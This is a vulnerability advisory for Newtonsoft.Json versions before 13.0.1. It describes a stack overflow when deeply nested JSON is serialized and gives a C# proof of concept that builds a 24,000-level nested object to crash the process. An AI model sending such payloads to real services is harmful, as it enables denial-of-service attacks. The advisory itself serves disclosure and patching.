Insecure Defaults Affecting newtonsoft.json package, versions [,13.0.1)

Affected versions of this package are vulnerable to Insecure Defaults due to improper handling of StackOverFlow exception (SOE) whenever nested expressions are being processed.

using System;

using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;

namespace JsonTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Create a string representation of a highly nested object (JSON serialized)
            int nRep = 24000;
            string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +
                          string.Concat(Enumerable.Repeat("}", nRep));

            //Parse this object (Parsing works well - no exception is being thrown)
            var parsedJson = JObject.Parse(json);
            
            using (var ms = new MemoryStream())
            using (var sWriter = new StreamWriter(ms))
            using (var jWriter = new JsonTextWriter(sWriter))
            {
                //Trying to serialize the object will result in StackOverflowException !!!
                parsedJson.WriteTo(jWriter);
            }

            //ToString throws StackOverflowException as well  (ToString is very unefficient - even for smaller payloads, it will occupy a lot of CPU & Memory)
            //parsedJson.ToString();

            //JsonConvert.SerializeObject throws StackOverflowException as well
            //string a = JsonConvert.SerializeObject(parsedJson);

        }
    }
}

• GitHub Commit
• GitHub Issue
• GitHub PR
• Security Advisory
• Security Article